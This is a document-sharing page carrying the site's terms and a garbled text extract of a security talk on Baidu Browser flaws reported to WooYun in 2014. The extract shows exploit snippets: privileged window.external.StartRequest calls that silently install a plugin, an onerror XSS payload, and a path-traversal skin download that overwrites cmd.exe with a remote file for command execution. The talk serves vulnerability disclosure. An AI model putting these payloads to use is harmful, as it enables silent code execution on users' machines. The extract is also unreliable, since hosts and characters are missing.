疗一疗本土浏览器-gainover.pdf

下载文档 降价啦

13
0
约2.97万字
约 45页
2017-10-07 发布于湖北
举报
版权申诉
保障服务

疗一疗本土浏览器-gainover.pdf

1、原创力文档（book118）网站文档一经付费（服务费），不意味着购买了该文档的版权，仅供个人/单位学习、研究之用，不得用于商业用途，未经授权，严禁复制、发行、汇编、翻译或者网络传播等，侵权必究。。
2、本站所有内容均由合作方或网友上传，本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺！文档内容仅供研究参考，付费前请自行鉴别。如您付费，意味着您自己接受本站规则且自行承担风险，本站不退款、不进行额外附加服务；查看《如何避免下载的几个坑》。如果您已付费下载过本站文档，您可以点击这里二次下载。
3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等，请点击“版权申诉”（推荐），也可以打举报电话：400-050-0827(电话支持时间：9:00-18:30)。

疗一疗本土浏览器-gainover

疗一疗本土“瘤”览器 @gainover 乱涂鸦，幼儿园水平。喜欢各种脚本语言。脚本小子一枚。热爱大自然，但不怎 ID: gainover 么外出。喜欢各种球类活动，但不怎么运动。 Dota，20+的1分英雄。来自乌云的称呼: 主治：不孕不育、风湿、类风湿、关节炎、皮肤顽症 …. 阵容：由 PKAV 医疗团队成员轮流坐诊！第一位患者： “百度浏览器” 病例编号：WooYun-2014-080158 诊断结果：插件安装à命令执行特权API ：静默安装插件 window.external.StartRequest(222,AppS ervice.AppMarket.DownloadPack,(func 特权域： on(id,res){alert(res)}),{\ID\:\Silenter hp:/// \,\UPDATE\:\true\,\URL\:\hp:// /swf_collector.crx\},window,); Xss Auditor拦截特权域XSS ： hp:///browserextension/ single/sinaweibo/ auth.php#access_token=img src=1 onerror=alert(1) p:// 会采用IE模式打开 p://07/test/ bdbrowser.htm 病例编号：WooYun-2014-80438 诊断结果：文件下载写入à命令执行 window.external.StartRequest(1, bdbrowser.skin.download,(funcon(id,res) {console.log(res)}),{\name\: \1/../../../../../../../../../../../../../cmd.exe\, 特权域： \url\:\hp://05/testbaidu.exe hp:///